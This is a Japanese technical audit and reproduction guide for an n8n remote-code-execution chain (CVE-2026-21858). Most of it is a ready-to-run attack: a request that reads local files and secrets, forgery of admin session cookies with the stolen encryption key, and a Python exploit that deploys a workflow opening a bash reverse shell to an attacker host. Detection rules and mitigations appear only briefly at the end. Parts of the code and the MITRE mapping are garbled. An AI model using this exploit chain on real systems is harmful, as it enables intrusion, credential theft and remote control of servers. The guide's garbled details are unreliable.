
# CVE-2026-21858の技術監査と再現:Content-Typeの混乱を悪用したn8n RCEチェーンによる任意ファイル読み取り、セッション偽造、コマンド実行
= doi.org/10.5281/zenodo.18278825
= orcid.org/0009-0007-7728-256X
[RECONSTRUCTION_ANALYSIS] CVE-2026-21858: Ni8mare - n8n RCE フルチェーンエクスプロイト
本技術監査は、Cyera Research Labs の Dor Attias 氏(2025年11月9日)による調査結果に基づいており、REmnux/Kali Linux ラボ環境向けのすぐに使用できる再現手順を含みます。
主要情報: 対象: n8n バージョン >=1.65.0 から <1.121.0。
攻撃ベクトル: ネットワーク(HTTP/HTTPS)。
複雑性: 低。
影響: 完全(機密性、完全性、可用性)。
EPSS スコア: 0.97(非常に高い悪用確率)。
通常のフロー: multipart/form-data リクエストは parseFormData()(Formidable パーサーを利用)によって処理され、req.body.files オブジェクトを正しく設定します。
脆弱な条件: 攻撃者が Content-Type: application/json のリクエストを送信した場合、ミドルウェアは parseBody() を呼び出します。送信された JSON はその後、追加の検証なしに直接 req.body に解析され、致命的に req.body.files プロパティを上書きします。
悪用: formWebhook -> prepareFormReturnItem() 関数は、JSON で提供されたファイルパスを信頼して copyBinaryFile(req.body.files[0].filepath) を盲目的に呼び出し、それによって任意のローカルファイルをアクセス可能なワークフローストレージにコピーします。
前提条件: Docker および Docker Compose。
requests、pyjwt、cryptography ライブラリを備えた Python 3。
シェルキャプチャ用の Netcat (nc) または Burp Suite。
デプロイ手順: 脆弱なインスタンスを実行:
Bash
docker run -d
--name ni8mare-vuln
-p 5678:5678
-v n8n_data:/home/node/.n8n
n8nio/n8n:1.65.0
管理者初期化: http://localhost:5678 にアクセスし、管理者アカウントを作成します(例: [email protected] / Password123!)。
ワークフロー設定: 「File Upload」フィールドを含む「Form Trigger」ノードを使用して新しいワークフローを作成します。ワークフローをアクティブ化し、「Test URL」をメモします。
HTTP リクエストペイロード:
HTTP
POST /webhook-test/{workflow-id}/form-endpoint HTTP/1.1 Host: target:5678 Content-Type: application/json User-Agent: Mozilla/5.0
[{"filepath":"/etc/passwd","mimetype":"text/plain","filename":"fake.txt"}] 戦略的ターゲット:
/home/node/.n8n/config: N8N_ENCRYPTION_KEY を窃取するため。
/home/node/.n8n/database.sqlite: ユーザー資格情報のハッシュを抽出するため。
フェーズ 2: 認証バイパス(セッション偽造) 暗号化キーとユーザーデータを取得したら、n8n-auth クッキーを偽造できます。
セッション偽造ロジック:
ペイロード: {"userId":1, "hash": sha256(email + password).slice(0,10)}。
署名: N8N_ENCRYPTION_KEY を使用して HS256 アルゴリズムで署名。
結果: 生成されたクッキーにより、通常のログインプロセスを経由せずに完全な管理者アクセスが可能になります。
フェーズ 3: リモートコード実行(RCE) 管理者として(偽造クッキーを介して)、「Execute Command」ノードを含む新しいワークフローの作成を自動化できます。
コマンドペイロード: bash -c "bash -i >& /dev/tcp/{attacker_ip}/4444 0>&1"
Python
#!/usr/bin/env python3
import requests, json, hashlib, jwt, time
class Ni8mareExploit: def init(self, target, webhook_id): self.target = target.rstrip('/') self.webhook_url = f"{self.target}/webhook-test/{webhook_id}/form-endpoint" self.session = requests.Session()
def read_file(self, path, name):
"""Phase 1: Arbitrary File Read via Content-Type Confusion"""
print(f"[*] Attempting to read {path}...")
payload = [{"filepath": path, "mimetype": "text/plain", "filename": name}]
headers = {'Content-Type': 'application/json'}
r = self.session.post(self.webhook_url, json=payload, headers=headers)
return r.status_code == 200
def forge_session(self, email, password, key):
"""Phase 2: Cookie Forgery"""
hash_src = email + password
h = hashlib.sha256(hash_src.encode()).hexdigest()[:10]
payload = {'userId': 1, 'hash': h}
cookie = jwt.encode(payload, key, algorithm='HS256')
self.session.cookies.set('n8n-auth', cookie)
print(f"[+] Forged Cookie: n8n-auth={cookie}")
def trigger_rce(self, lhost, lport):
"""Phase 3: RCE via Workflow Automation"""
cmd = f"bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'"
wf_payload = {
"name": "Ni8mare RCE",
"nodes": [{"parameters": {"command": cmd}, "type": "n8n-nodes-base.executeCommand"}],
"active": True
}
r = self.session.post(f"{self.target}/rest/workflows", json=wf_payload)
print("[!] RCE Workflow Deployed. Check your listener!")
ネットワーク指標(IDS/IPS): Suricata シグネチャ: alert http $EXTERNAL_NET any -> $HOME_NET 5678 (msg:"Ni8mare Exploit Attempt"; content:"application/json"; content:"filepath"; sid:1000001;)
異常: /webhook/*/form-endpoint エンドポイントに送信される Content-Type: application/json の POST リクエスト。
ホストベースのフォレンジック: ファイルシステム: システムデータ(例: /etc/passwd)を含む ~/.n8n/files/ ディレクトリ内の不審なテキストファイルを検索します。
ログ: multipart データを伴わない prepareFormReturnItem 関数のアクティビティについて n8n ログを監査します。
Docker Inspect: イメージのバージョンが 1.121.0 未満であることを確認します。
回避策: パッチ適用が不可能な場合、Web アプリケーションファイアウォール(WAF)を使用して /webhook エンドポイントへのアクセスを制限し、不審な JSON リクエストをブロックします。
ネットワークセグメンテーション: 侵入発生時のラテラルムーブメントを防ぐため、n8n インスタンスを機密性の高い内部ネットワークから分離します。
実行: T1059(コマンドおよびスクリプティングインタープリター)
永続化: T1098(セッション偽造によるアカウント操作)
データ流出: T1083(ファイルおよびディレクトリの探索)
免責事項: 本分析は、Master SASTRA_ADI_WIGUNA の指示のもと、教育目的、セキュリティ監査、および専門的なサイバー防御のためにのみ提供されます。本情報を違法行為に悪用した場合の責任は、すべて操作者に帰属します。本番環境へのパッチ適用は必須です。